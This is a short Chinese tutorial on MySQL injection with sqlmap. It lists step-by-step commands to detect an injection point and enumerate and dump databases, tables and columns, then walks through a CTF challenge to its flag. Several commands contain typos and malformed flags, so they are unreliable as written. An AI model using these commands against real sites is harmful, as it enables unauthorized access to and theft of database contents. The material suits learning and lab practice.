SQLmap————3、MySQL注入

MySQL注入流程

1、判断是否可以注入

Sqlmap  –u  http://www.xxx.com/login.php?id=1

2、猜解数据库名称

Sqlmap  –u  http://www.xxx.com/login.php?id=1   --Database

3、猜解表名

Sqlmap  –u  http://www.xxx.com/login.php?id=1 –D  datebasename  --Tables

4、猜解字段名

Sqlmap  –u  http://www.xxx.com/login.php?id=1 –D  datebasename   –T  tablename    --columns

5、爆字段名

Sqlmap  –u  http://www.xxx.com/login.php?id=1 –D datebasename–T tablename –C columnname –dump

实战演示：

一道CTF测试题目：

目标地址： http://ctf5.shiyanbar.com/web/index_3.php?id=1

（1）在终端输入命令：“Sqlmap.py –u 目标URL”  ，-u扫描注入点扫描目标主机，检测出的信息准确。

（2）爆出数据库：

Sqlmap.py –u  http://ctf5.shiyanbar.com/web/index_3.php?id=1–-dbs

（3）爆表：

Sqlmap.py –u  http://ctf5.shiyanbar.com/web/index_3.php?id=1–D web1 –-tables

(4)爆字段：

Sqlmap.py –u  http://ctf5.shiyanbar.com/web/index_3.php?id=1–D web1 –T flag –-columns 

(5)显示字段值：

Sqlmap.py –u  http://ctf5.shiyanbar.com/web/index_3.php?id=1 –D web1 –T flag –C--dump

至此获得flag:

flag{Y0u_@r3_5O_dAmn_90Od}